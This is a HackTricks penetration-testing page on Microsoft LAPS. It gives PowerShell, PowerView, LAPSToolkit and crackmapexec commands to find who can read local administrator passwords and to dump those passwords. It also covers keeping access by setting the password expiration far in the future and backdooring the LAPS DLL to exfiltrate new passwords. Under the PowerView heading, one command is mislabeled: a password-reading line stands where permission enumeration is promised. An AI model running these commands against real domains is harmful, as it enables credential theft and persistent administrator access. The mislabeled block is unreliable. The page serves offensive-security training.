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hacktricks/windows-hardening/active-directory-methodology/laps.md
Carlos Polop 79b80044a8 a
2024-02-08 04:06:37 +01:00

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# LAPS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
## Basic Information
Local Administrator Password Solution (LAPS) is a tool used for managing a system where **administrator passwords**, which are **unique, randomized, and frequently changed**, are applied to domain-joined computers. These passwords are stored securely within Active Directory and are only accessible to users who have been granted permission through Access Control Lists (ACLs). The security of the password transmissions from the client to the server is ensured by the use of **Kerberos version 5** and **Advanced Encryption Standard (AES)**.
In the domain's computer objects, the implementation of LAPS results in the addition of two new attributes: **`ms-mcs-AdmPwd`** and **`ms-mcs-AdmPwdExpirationTime`**. These attributes store the **plain-text administrator password** and **its expiration time**, respectively.
### Check if activated
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPS Password Access
You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package can be used to convert this file into human-readable format.
Moreover, the **native LAPS PowerShell cmdlets** can be used if they're installed on a machine we have access to:
```powershell
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** can also be used to find out **who can read the password and read it**:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS this with several functions.\
One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This will show **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\
An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords.
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Dumping LAPS Passwords With Crackmapexec**
If there is no access to a powershell you can abuse this privilege remotely through LDAP by using
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
This will dump all the passwords that the user can read, allowing you to get a better foothold with a different user.
## **LAPS Persistence**
### **Expiration Date**
Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
The password will still reset if an **admin** uses the **`Reset-AdmPwdPassword`** cmdlet; or if **Do not allow password expiration time longer than required by policy** is enabled in the LAPS GPO.
{% endhint %}
### Backdoor
The original source code for LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**.
Then, just compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time).
## References
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
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